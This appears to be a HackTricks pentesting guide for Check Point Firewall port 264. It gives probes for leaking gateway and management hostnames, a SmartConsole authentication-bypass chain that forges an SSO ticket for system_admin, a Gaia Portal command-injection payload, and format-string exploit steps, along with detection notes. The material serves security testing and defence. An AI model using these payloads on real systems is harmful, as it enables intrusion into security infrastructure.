DΛΣMӨП

// HackTricks · Network Services

264/tcp - Pentesting Check Point Firewall

264/tcp - Pentesting Check Point Firewall

It is possible to query Check Point Firewall-1 gateways on 264/TCP for topology information that can disclose the gateway and management-station names.[1][2]

On modern deployments this remains useful because TCP/264 is the FW1_topo service used for topology download by SecureClient and Endpoint Security VPN clients.[5] A response fingerprints Check Point software and suggests that remote-access functionality is configured, but it does not by itself prove that the management server is exposed.

When an applicable control-connection implied rule is enabled, FW1_topo traffic can still be accepted even when the explicit rulebase appears restrictive. During review, inspect the gateway’s implied-rule configuration instead of inferring TCP/264 reachability from the visible policy alone.[5][12]

Obtaining Firewall and Management Station Names

Using a pre-authentication request, you can execute a module that targets Check Point Firewall-1. The necessary commands for this operation are outlined below:

use auxiliary/gather/checkpoint_hostname
set RHOST 10.10.10.10

Upon execution, the module attempts to contact the firewall’s SecuRemote Topology service. If successful, it confirms the presence of a Check Point Firewall and retrieves the names of both the firewall and the SmartCenter management host. Here’s an example of what the output might look like:[1][2]

[*] Attempting to contact Checkpoint FW1 SecuRemote Topology service...
[+] Appears to be a CheckPoint Firewall...
[+] Firewall Host: FIREFIGHTER-SEC
[+] SmartCenter Host: FIREFIGHTER-MGMT.example.com
[*] Auxiliary module execution completed

The leaked management hostname is usually the most valuable field. In real environments it often identifies the management domain, naming convention, site code, or the exact SmartCenter / Management Server to pivot into next.

Alternative Method for Hostname and ICA Name Discovery

Another technique involves a direct command that sends a specific query to the firewall and parses the response to extract the firewall’s hostname and ICA name. The command and its structure are as follows:[1][2]

printf '\x51\x00\x00\x00\x00\x00\x00\x21\x00\x00\x00\x0bsecuremote\x00' | nc -q 1 10.10.10.10 264 | grep -a CN | cut -c 2-

The output from this command provides detailed information regarding the firewall’s certificate name (CN) and organization (O), as demonstrated below:

CN=Panama,O=MGMTT.srv.rxfrmi

In practice, CN is the gateway object / hostname and O commonly maps to the Internal CA / management naming context. That makes this response useful for building hostlists, targeted DNS brute-force, or prioritizing which management node to enumerate first.

Post-Discovery Enumeration

Once 264/TCP confirms a Check Point device, don’t stop at the hostname leak. Use the leaked management name to prioritize the rest of the Check Point control plane:

  • Probe the management host and nearby gateway IPs for 443/TCP and Check Point control channels such as 18190/TCP (CPMI), 18191/TCP (CPD), 18210/TCP (ICA_PULL), 18211/TCP (ICA_PUSH), 18231/TCP (Policy Server login), 18264/TCP (ICA_SERVICES), and 19009/TCP (CPM/DLE SOAP SmartConsole services).[5]
  • These ports are frequently reachable only after landing on a VPN segment, jump host, or management VLAN, but FW1_topo gives you the names to look for.
  • If the environment enables Accept Control Connections, several of these services are opened automatically by design, so they are worth rescanning from every new foothold.

Quick sweep:

nmap -Pn -sT -p 264,443,18190,18191,18210,18211,18231,18264,19009 <gateway-or-management-ip>

If valid administrator credentials are recovered, move from gateway fingerprinting to structured management enumeration. The Check Point Management API is scriptable via mgmt_cli or HTTPS web_api calls:

mgmt_cli login -u <user> -p '<pass>' -m <mgmt_ip> > id.txt
mgmt_cli show gateways-and-servers details-level full -s id.txt --format json | jq '.objects[] | {name, type, ipv4_address}'
mgmt_cli logout -s id.txt

The output commonly reveals gateway objects, cluster members, management IPs, and other pivot points that are much harder to infer from the firewall itself. The Management API runs on the management server, while the Gaia API is a separate HTTPS API for operating-system configuration on a gateway or management appliance.[11]

SmartConsole / Security Management Server Authentication Bypass Workflow

If the leaked management host exposes 18190/TCP (legacy CPMI/FWM) and 19009/TCP (CPM/DLE SOAP under /cpmws/), treat them as a chained trust surface rather than as two unrelated services. SmartConsole logins cross both protocols, so a trust-boundary bug in native application authentication can become a full GUI administrator session.[8][10]

Application-layer SIC identity override

During SIC bootstrap, the management server exposes its own SIC DN (for example cn=cp_mgmt,o=<mgmt>). A vulnerable implementation may later accept a second DN inside an FwSet application bind and use that attacker-controlled string as the effective remote identity instead of the TLS-authenticated certificate DN. If that happens, a remote client can impersonate trusted internal applications such as CPM Server without loading a matching client certificate.[8][9]

(
    :local_bind (0)
    :token_bind (0)
    :DN ("cn=cp_mgmt,o=<mgmt>")
    :certificate_bind (1)
    :application_login ("CPM Server")
    :client_without_administrator (true)
)

This is a good generic review pattern for proprietary management protocols: if both a transport-authenticated identity and an application-layer claimed identity exist, authorization must bind to the transport identity, not to the replayable field carried inside the protocol body.

Cross-protocol token reuse

After a forged application bind, the attacker can ask the legacy service to open-database and recover a 43-character DLE token from the binary FwSet response. In the vulnerable SmartConsole flow, that token is also accepted by the newer SOAP service as the DLESESSIONID header, turning a native session into authenticated access to selected /cpmws/ methods.[8][9]

(
    :type (command)
    :subject (open-database)
    :body (:Name () :db_open_reason () :dle_session_id () :database () :db_open_id ("(nil)"))
    :no-reply (false)
)

If a product has both a legacy binary control plane and a newer HTTP/SOAP/REST layer, always test whether tokens minted by the old service are silently honored by the new one.

Abusing privileged SSO ticket minting

Once the forged native session is treated as a configuration administrator, request a SmartConsole SSO ticket before normal permission-mask enforcement. In the vulnerable path, setting :soap_local_bind (1) and an all-bits-set permission bitmap produces a full-permission ticket for system_admin.[8][9]

(
    :type (command)
    :subject (gen-sso-token)
    :body (
        :type (SmartConsole)
        :sso_original_client (SmartConsole :lower_name (system_admin) :soap_local_bind (1) :permissions ("ffffffff|ffffffff|ffffffff"))
    )
)

Redeem the returned ticket through the normal SOAP login endpoint and capture the resulting SmartConsole session identifiers:[8][9]

<l:loginNew>
  <d:loginRequest>
    <d:applicationName>SmartConsole</d:applicationName>
    <d:authenticationInfo xsi:type="d:UserSSOTokenAuthenticationInfo">
      <d:username>system_admin</d:username>
      <d:SSOToken><ticket></d:SSOToken>
    </d:authenticationInfo>
  </d:loginRequest>
</l:loginNew>

A successful response returns sid and clientSessionId. A good validation trick is to compare the same protected SOAP method before and after ticket redemption: the application token may authenticate some queries while exposing a reduced result set, while the redeemed SmartConsole session exposes full administrator data.[8]

Detection and quick validation

  • Check audit logs for SmartConsole events containing Authentication method: application token.[10]
  • Unexpected system_admin logins coming from non-management hosts or unusual application identities are high-signal.
  • A fast validator is to complete the minimum SIC bootstrap and attempt an application bind with a trusted :DN without loading any client certificate. Patched implementations should reject the bind before issuing any DLE or SSO token.

Recent Authenticated Management-Plane Abuse

A useful modern follow-up to 264/TCP discovery is testing whether the leaked management host exposes an outdated Gaia Portal.

In 2023, Check Point fixed an authenticated command-injection issue in the Gaia Portal Hosts and DNS page. The vulnerable flow passed the hostname field from /web/cgi-bin2/hosts_dns.tcl into a libdb set ... machine:hostname <value> command chain without sufficient sanitisation, so a user with write access to DNS / hostname settings could turn portal access into OS command execution.[6]

Minimal reproduction pattern:

POST /cgi-bin/hosts_dns.tcl
hostname=test|`id`
domainname=lab.local
save=true

Why this matters during pentests:

  • 264/TCP often tells you exactly which management host to target.
  • If that host exposes Gaia Portal and you later recover any delegated admin credential, hostname/DNS write access can become code execution on the appliance or management node.
  • Version triage matters here: Check Point states the fix is present in R82 and in later Jumbo Hotfix takes for R81.20 / R81.10 / R81 / R80.40.[6]

Also keep internet-exposed Remote Access VPN / Mobile Access gateways in scope. In 2024, Check Point disclosed and observed exploitation around an information-disclosure issue affecting internet-connected gateways with remote access enabled.[7] From an operator perspective, the practical lesson is to treat VPN portals and Gaia / management surfaces as a single attack chain: pre-auth leakage on the gateway can feed username discovery, credential attacks, and authenticated follow-on abuse against the management plane.

HTTP Security Server Format String Bug (CAN-2004-0039)

Affected builds: NG FCS, NG FP1, NG FP2, NG FP3 HF2, and NG with Application Intelligence R54/R55.
Requirement: The HTTP Security Server or AI HTTP proxy must be enabled and transparently inspecting the targeted port; if HTTP inspection is disabled the vulnerable code path is never reached.[3][4]

Triggering the error handler

The proxy rejects malformed HTTP messages and builds its own error page with sprintf(errbuf, attacker_string);, letting attacker-controlled bytes act as the format string. Send an invalid request through the firewall and look for a proxy-generated error that reflects your payload:

printf 'BOGUS%%08x%%08x%%08x%%n HTTP/1.0\r\nHost: internal.local\r\n\r\n' | nc -nv [FIREWALL_IP] 80

If HTTP inspection is active, the firewall (not the backend server) answers immediately, proving the middlebox parsed and replayed the request line.

Exploitation

Format string primitive

  • Force the parser into the error routine (invalid method, URI, or headers).
  • Place attacker-controlled dwords up front so %x, %s, and %n directives treat them as stack arguments.
  • Use %x/%s to leak pointers, then %n/%hn to write the formatted byte count into chosen addresses, overwriting return pointers, vtables, or heap metadata before hijacking execution with injected shellcode or ROP.

Heap overflow primitive

The same unsafe sprintf() writes into a fixed-size heap buffer. Mix a long request body with oversized directives (e.g., %99999x) so the formatted output overruns the allocation and corrupts adjacent heap structures, letting you forge freelist pointers or function tables that are later dereferenced.

Impact

Compromise of the proxy grants code execution inside the firewall process (SYSTEM on Windows appliances, root on UNIX), enabling rule manipulation, traffic interception, and pivoting deeper into the management network.[3][4]

References